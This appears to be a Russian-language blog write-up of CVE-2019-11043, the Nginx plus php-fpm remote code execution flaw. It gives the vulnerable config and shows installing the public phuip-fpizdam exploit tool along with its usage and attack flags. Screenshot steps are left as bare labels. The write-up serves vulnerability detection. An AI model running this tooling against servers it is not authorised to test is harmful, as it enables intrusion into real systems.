CVE-2019-11043

Описание уязвимости При обработке запросов, содержащих %0a, fastcgi split path info в Nginx приводит к тому, что PATH INFO становится пустым из-за символа новой строки \n. В php-fpm существует логическая ошибка при обработке пустого PATH INFO. Злоумышленник может привести к удаленному выполнению кода с помощью тщательно сконструированного запроса.

Область воздействия Серверы Nginx + php-fpm со следующей конфигурацией могут быть уязвимы к удаленному выполнению кода. location ~ [^ /.php(/|$) { fastcgi split path info ^(.+?.php)(.*)$; fastcgi param PATH INFO $fastcgi path info;fastcgi pass php:9000; }

Обнаружение уязвимости Способ 1: Использование скрипта phuip-fpizdam

0x01 Установка phuip-fpizdam-Mac go get github.com/neex/phuip-fpizdam go install github.com/neex/phuip-fpizdam ➜ ~ cd ./go ➜ go go get github.com/neex/phuip-fpizdam ➜ go go install github.com/neex/phuip-fpizdam ➜ go ls bin src ➜ go cd bin ➜ bin ls phuip-fpizdam ➜ bin file phuip-fpizdam phuip-fpizdam: Mach-O 64-bit executable x86_64

➜ bin ls -lah phuip-fpizdam -rwxr-xr-x 1 alewong staff 9.3M 10 24 10:54 phuip-fpizdam

step 2 bin ./phuip-fpizdam

Error: accepts 1 arg(s), received 0 Usage: phuip-fpizdam [url] [flags]

Flags:

  --cookie string       send this cookie

-h, --help help for phuip-fpizdam --kill-count int how many times to send the worker killing payload (default 50) --kill-workers just kill php-fpm workers (requires only QSL) --method string detect method (see detect_methods.go) (default "session.auto_start") --only-qsl stop after QSL detection, use this if you just want to check if the server is vulnerable --pisos int pisos hint --qsl int qsl hint --reset-retries int how many retries to do for --reset-setting, -1 means a lot (default 50) --reset-setting try to reset setting (requires attack params) --setting string specify custom php.ini setting for --reset-setting --skip-attack skip attack phase --skip-detect skip detection phase 2019/10/24 10:56:18 accepts 1 arg(s), received 0

0x03 Проверка целевого URL

step 3 Видно, что результат возвращает 202 — успех.

0x04 Просмотр страницы step 4

step 5

Способ 2: Использование Python-скрипта step 7

step 6 Идея скрипта: когда пороговое значение Q достигает определенного уровня (например, 1800), возвращается 502 — это доказывает наличие уязвимости.

Результат выполнения: step 8

Результат совпадает с Burp Suite. step 9

PHP-FPM-Remote-Code-Execution-Vulnerability-CVE-2019-11043-

Популярное